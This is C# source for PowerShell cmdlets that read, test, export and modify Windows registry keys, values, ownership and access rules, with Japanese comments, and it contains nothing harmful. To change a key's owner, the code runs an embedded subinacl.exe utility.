protected override void ProcessRecord() { if (Name == null) { // レジストリキーの取得 WriteObject(new RegistryKeyInfo(Path, true)); } else { // レジストリ値の取得 try { using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, false, false)) { RegistryValueKind valueKind = regKey.GetValueKind(Name); if (RawValue) { switch (valueKind) { case RegistryValueKind.ExpandString: WriteObject(NoResolv ? regKey.GetValue(Name, "", RegistryValueOptions.DoNotExpandEnvironmentNames) : regKey.GetValue(Name)); break; case RegistryValueKind.None: WriteObject(null); break; default: WriteObject(regKey.GetValue(Name)); break; } } else { WriteObject(RegistryControl.RegistryValueToString(regKey, Name, valueKind, NoResolv)); /* * switch (valueKind) * { * case RegistryValueKind.String: * case RegistryValueKind.DWord: * case RegistryValueKind.QWord: * WriteObject(regKey.GetValue(Name)); * break; * case RegistryValueKind.ExpandString: * WriteObject(NoResolv ? * regKey.GetValue(Name, "", RegistryValueOptions.DoNotExpandEnvironmentNames) : * regKey.GetValue(Name)); * break; * case RegistryValueKind.Binary: * //WriteObject(RegistryControl.RegBinaryBytesToString(regKey.GetValue(Name) as byte[])); * WriteObject(RegistryControl.RegistryValueToString(regKey, Name, valueKind, true)); * break; * case RegistryValueKind.MultiString: * WriteObject( * string.Join("\\0", regKey.GetValue(Name) as string[])); * break; * case RegistryValueKind.None: * //WriteObject(regKey.GetValue(Name)); * WriteObject(null); * break; * } */ } } } catch (Exception e) { TextWriter errorWriter = Console.Error; errorWriter.WriteLine(e.Message); } } }
/// <summary> /// レジストリのパラメータ名/種類/値のチェック /// 長かったので独立したメソッドに /// </summary> /// <param name="regKey">RegistryKeyインスタンス</param> private void CheckRegValue(RegistryKey regKey) { if (Name == null) { Console.Error.WriteLine("Name無し: {0}", Name); return; } try { RegistryValueKind valueKind = regKey.GetValueKind(Name); // Name用チェック if (Target == Item.NAME) { retValue = true; return; } // Type用チェック if (Target == Item.TYPE) { retValue = valueKind == RegistryControl.StringToValueKind(Type); if (!retValue) { Console.Error.WriteLine( "Type不一致: {0} / {1}", Type, RegistryControl.ValueKindToString(valueKind)); } return; } // Value用チェック if (valueKind == RegistryValueKind.Binary) { Value = Value.ToUpper(); } retValue = RegistryControl.RegistryValueToString(regKey, Name, valueKind, true) == Value; if (!retValue) { Console.Error.WriteLine("Value不一致 ({0}): {1}", RegistryControl.ValueKindToString(valueKind), Value); Console.WriteLine(RegistryControl.RegistryValueToString(regKey, Name, valueKind, true)); } /* * switch (valueKind) * { * case RegistryValueKind.String: * retValue = regKey.GetValue(Name) as string == Value; * if (!retValue) * { * Console.Error.WriteLine("Value不一致 (REG_SZ): {0}", Value); * } * break; * case RegistryValueKind.Binary: * retValue = RegistryControl.RegistryValueToString(regKey, Name, valueKind, true) == Value.ToUpper(); * //retValue = RegistryControl.RegBinaryBytesToString(regKey.GetValue(Name) as byte[]) == Value.ToUpper(); * if (!retValue) * { * Console.Error.WriteLine("Value不一致 (REG_BINARY): {0}", Value); * } * break; * case RegistryValueKind.DWord: * retValue = (int)regKey.GetValue(Name) == int.Parse(Value); * if (!retValue) * { * Console.Error.WriteLine("Value不一致 (REG_DWORD): {0}", Value); * } * break; * case RegistryValueKind.QWord: * retValue = (long)regKey.GetValue(Name) == long.Parse(Value); * if (!retValue) * { * Console.Error.WriteLine("Value不一致 (REG_QWORD): {0}", Value); * } * break; * case RegistryValueKind.MultiString: * retValue = string.Join("\\0", regKey.GetValue(Name) as string[]) == Value; * if (!retValue) * { * Console.Error.WriteLine("Value不一致 (REG_MULTI_SZ): {0}", Value); * } * break; * case RegistryValueKind.ExpandString: * retValue = regKey.GetValue(Name, "", RegistryValueOptions.DoNotExpandEnvironmentNames) as string == Value; * if (!retValue) * { * Console.Error.WriteLine("Value不一致 (REG_EXPAND_SZ): {0}", Value); * } * break; * case RegistryValueKind.None: * retValue = string.IsNullOrEmpty(Value); * break; * } */ } catch (IOException) { // Name,Type,Valueの条件で名前の有無チェック Console.Error.WriteLine("Name無し: {0}", Name); } }
protected override void ProcessRecord() { using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, false, false)) { // レジストリキーの有無チェック if (regKey == null) { // 全条件でキーの有無チェック Console.Error.WriteLine("対象のレジストリキー (Path) 無し: {0}", Path.ToString()); return; } if (Target == Item.KEY) { retValue = true; return; } // レジストリのパラメータ名/種類/値のチェック (長かったので別のメソッドに) if (Target == Item.NAME || Target == Item.TYPE || Target == Item.VALUE) { CheckRegValue(regKey); return; } // 所有者チェック RegistrySecurity security = regKey.GetAccessControl(); if (Target == Item.OWNER) { string owner = security.GetOwner(typeof(NTAccount)).Value; retValue = owner == Owner; if (!retValue) { Console.Error.WriteLine("所有者名不一致: {0} / {1}", Owner, owner); } return; } // アクセス権チェック if (Target == Item.ACCESS) { if (TestMode == Item.CONTAIN) { // Accessパラメータで指定したAccess文字列が、対象のレジストリキーに含まれているかチェック // Access文字列は複数の場合は、全て対象のレジストリキーに含まれているかをチェック string tempAccess = new RegistryKeyInfo(regKey, false, true).Access; //string tempAccess = RegistryControl.AccessToString(regKey); string[] tempAccessArray = tempAccess.Contains("/") ? tempAccess.Split('/') : new string[1] { tempAccess }; foreach (string ruleString in Access.Contains("/") ? Access.Split('/') : new string[1] { Access }) { retValue = tempAccessArray.Any(x => x.Equals(ruleString, StringComparison.OrdinalIgnoreCase)); if (!retValue) { Console.Error.WriteLine("指定のアクセス権無し: {0} / {1}", Access, tempAccess); break; } } } else { string tempAccess = new RegistryKeyInfo(regKey, false, true).Access; //string access = RegistryControl.AccessToString(regKey); retValue = tempAccess == Access; if (!retValue) { Console.Error.WriteLine("アクセス権不一致: {0} / {1}", Access, tempAccess); } } return; } // 継承設定チェック if (Target == Item.INHERIT) { //retValue = !security.AreAccessRulesProtected == IsInherit; bool tempInherit = new RegistryKeyInfo(regKey, false, true).Inherited; retValue = tempInherit == IsInherit; if (!retValue) { Console.Error.WriteLine("継承設定不一致: {0} / {1}", IsInherit, tempInherit); } return; } } }
protected override void ProcessRecord() { bool isChange = false; using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, false, true)) { if (regKey == null) { return; } RegistrySecurity security = regKey.GetAccessControl(); // アクセス権設定 if (!string.IsNullOrEmpty(Account)) { RegistryAccessRule rule = new RegistryAccessRule( new NTAccount(Account), (RegistryRights)Enum.Parse(typeof(RegistryRights), _Rights), Recursive ? InheritanceFlags.ContainerInherit : InheritanceFlags.None, PropagationFlags.None, (AccessControlType)Enum.Parse(typeof(AccessControlType), AccessControl)); // テスト自動生成 TestGenerator.RegistryAccess(Path, RegistryControl.AccessRuleToString(rule), true); security.SetAccessRule(rule); isChange = true; } // Access文字列からの設定 if (!string.IsNullOrEmpty(Access)) { /* * foreach (RegistryAccessRule accessRule in RegistryControl.StringToAccess(Access)) * { * security.SetAccessRule(accessRule); * isChange = true; * } */ foreach (string ruleString in Access.Contains("/") ? Access.Split('/') : new string[1] { Access }) { // テスト自動生成 TestGenerator.RegistryAccess(Path, ruleString, true); security.SetAccessRule(RegistryControl.StringToAccessRule(ruleString)); isChange = true; } } // 上位からのアクセス権継承の設定変更 switch (Inherit) { case Item.ENABLE: TestGenerator.RegistryInherit(Path, true); security.SetAccessRuleProtection(false, false); isChange = true; break; case Item.DISABLE: TestGenerator.RegistryInherit(Path, false); security.SetAccessRuleProtection(true, true); isChange = true; break; case Item.REMOVE: TestGenerator.RegistryInherit(Path, false); security.SetAccessRuleProtection(true, false); isChange = true; break; } if (isChange) { regKey.SetAccessControl(security); } } WriteObject(new RegistryKeyInfo(Path, true)); }
protected override void ProcessRecord() { if (Inherit != Item.NONE || !string.IsNullOrEmpty(Access)) { using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, true, true)) { RegistrySecurity security = regKey.GetAccessControl(); // 上位からのアクセス権継承の設定変更 switch (Inherit) { case Item.ENABLE: TestGenerator.RegistryInherit(Path, true); security.SetAccessRuleProtection(false, false); break; case Item.DISABLE: TestGenerator.RegistryInherit(Path, false); security.SetAccessRuleProtection(true, true); break; case Item.REMOVE: TestGenerator.RegistryInherit(Path, false); security.SetAccessRuleProtection(true, false); break; } // Access文字列からのアクセス権設定 if (!string.IsNullOrEmpty(Access)) { foreach (string ruleString in Access.Contains("/") ? Access.Split('/') : new string[1] { Access }) { // テスト自動生成 TestGenerator.RegistryAccess(Path, ruleString, true); security.SetAccessRule(RegistryControl.StringToAccessRule(ruleString)); } } /* * foreach (RegistryAccessRule accessRule in RegistryControl.StringToAccess(Access)) * { * security.SetAccessRule(accessRule); * } */ regKey.SetAccessControl(security); } } // 所有者変更 if (Owner != null) { // テスト自動生成 TestGenerator.RegistryOwner(Path, Owner); // 埋め込みのsubinacl.exeを展開 string tempDir = System.IO.Path.Combine( Environment.ExpandEnvironmentVariables("%TEMP%"), "PowerReg"); string subinacl = System.IO.Path.Combine(tempDir, "subinacl.exe"); if (!File.Exists(subinacl)) { EmbeddedResource.Expand(tempDir); } // 管理者実行確認 Message.CheckAdmin(); using (Process proc = new Process()) { proc.StartInfo.FileName = subinacl; proc.StartInfo.Arguments = $"/subkeyreg \"{Path}\" /owner=\"{Owner}\""; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); proc.WaitForExit(); } } // レジストリ値の設定 if (Name != null) { // テスト自動生成 TestGenerator.RegistryName(Path, Name); TestGenerator.RegistryType(Path, Name, Type); TestGenerator.RegistryValue(Path, Name, Value); switch (Type) { case Item.REG_SZ: Registry.SetValue(Path, Name, Value, RegistryValueKind.String); break; case Item.REG_BINARY: Registry.SetValue(Path, Name, RegistryControl.RegBinaryStringToBytes(Value), RegistryValueKind.Binary); break; case Item.REG_DWORD: Registry.SetValue(Path, Name, int.Parse(Value), RegistryValueKind.DWord); break; case Item.REG_QWORD: Registry.SetValue(Path, Name, long.Parse(Value), RegistryValueKind.QWord); break; case Item.REG_MULTI_SZ: Registry.SetValue(Path, Name, Regex.Split(Value, "\\\\0"), RegistryValueKind.MultiString); break; case Item.REG_EXPAND_SZ: Registry.SetValue(Path, Name, Value, RegistryValueKind.ExpandString); break; case Item.REG_NONE: Registry.SetValue(Path, Name, new byte[2] { 0, 0 }, RegistryValueKind.None); break; } } }
protected override void ProcessRecord() { List <string> commandList = new List <string>(); if (Name == null) { Action <RegistryKey> measureRegistry = null; measureRegistry = (targetKey) => { List <string> valueNameList = new List <string>(targetKey.GetValueNames()); valueNameList.Sort(); if (valueNameList.Count > 0) { valueNameList.ForEach(x => commandList.Add(Dos ? CreateDosCommand(targetKey, x) : CreateSetCommand(targetKey, x))); } else { // レジストリ値設定無し。空レジストリキー作成 if (Dos) { commandList.Add(string.Format("reg add \"{0}\" /ve /f", ReplaceDoller(targetKey.ToString()))); commandList.Add(string.Format("reg delete \"{0}\" /ve /f", ReplaceDoller(targetKey.ToString()))); } else { commandList.Add(string.Format("New-Registry -Path \"{0}\"", ReplaceDoller(targetKey.ToString()))); } } if (Recursive) { foreach (string keyName in targetKey.GetSubKeyNames()) { using (RegistryKey subTargetKey = targetKey.OpenSubKey(keyName, false)) { measureRegistry(subTargetKey); } } } }; using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { measureRegistry(regKey); } } else { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { commandList.Add(Dos ? CreateDosCommand(regKey, Name) : CreateSetCommand(regKey, Name)); } } // コンソール/ファイルへ出力 if (OutputFile == null) { WriteObject(commandList); } else { Environment.CurrentDirectory = this.SessionState.Path.CurrentFileSystemLocation.Path; using (StreamWriter sw = new StreamWriter(OutputFile, false, Encoding.GetEncoding("Shift_JIS"))) { sw.WriteLine(string.Join("\r\n", commandList)); } } }
protected override void ProcessRecord() { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, true, true)) { if (regKey == null) { return; } RegistrySecurity security = null; // Access文字列からの設定 // ""で全アクセス権設定を削除 if (Access != null) { if (security == null) { security = regKey.GetAccessControl(); } foreach (RegistryAccessRule removeRule in security.GetAccessRules(true, false, typeof(NTAccount))) { security.RemoveAccessRule(removeRule); } // テスト自動生成 _generator.RegistryAccess(RegistryPath, Access, false); if (Access != string.Empty) // このif文分岐が無くても同じ挙動するけれど、一応記述 { foreach (RegistryAccessRule addRule in RegistryControl.StringToAccessRules(Access)) { security.AddAccessRule(addRule); } } } // 上位からのアクセス権継承の設定変更 if (Inherited != Item.NONE) { if (security == null) { security = regKey.GetAccessControl(); } // テスト自動生成 _generator.RegistryInherited(RegistryPath, Inherited == Item.ENABLE); switch (Inherited) { case Item.ENABLE: security.SetAccessRuleProtection(false, false); break; case Item.DISABLE: security.SetAccessRuleProtection(true, true); break; case Item.REMOVE: security.SetAccessRuleProtection(true, false); break; } } if (security != null) { regKey.SetAccessControl(security); } } // 所有者変更 if (Owner != null) { string subinacl = EmbeddedResource.GetSubinacl(Item.APPLICATION_NAME); // 管理者実行確認 Functions.CheckAdmin(); // テスト自動生成 _generator.RegistryOwner(RegistryPath, Owner); using (Process proc = new Process()) { proc.StartInfo.FileName = subinacl; proc.StartInfo.Arguments = $"/subkeyreg \"{RegistryPath}\" /owner=\"{Owner}\""; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); proc.WaitForExit(); } } // レジストリ値の設定 if (Name != null) { // テスト自動生成 _generator.RegistryType(RegistryPath, Name, Type); _generator.RegistryValue(RegistryPath, Name, Value); switch (Type) { case Item.REG_SZ: Registry.SetValue(RegistryPath, Name, Value, RegistryValueKind.String); break; case Item.REG_BINARY: Registry.SetValue(RegistryPath, Name, RegistryControl.StringToRegBinary(Value), RegistryValueKind.Binary); break; case Item.REG_DWORD: Registry.SetValue(RegistryPath, Name, int.Parse(Value), RegistryValueKind.DWord); break; case Item.REG_QWORD: Registry.SetValue(RegistryPath, Name, long.Parse(Value), RegistryValueKind.QWord); break; case Item.REG_MULTI_SZ: Registry.SetValue(RegistryPath, Name, Functions.SplitBQt0(Value), RegistryValueKind.MultiString); break; case Item.REG_EXPAND_SZ: Registry.SetValue(RegistryPath, Name, Value, RegistryValueKind.ExpandString); break; case Item.REG_NONE: Registry.SetValue(RegistryPath, Name, new byte[2] { 0, 0 }, RegistryValueKind.None); break; } } /* 実行していて結構うっとおしいので、出力しないことにします。 * using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, false, false)) * { * WriteObject(new RegistrySummary(regKey, true)); * } */ }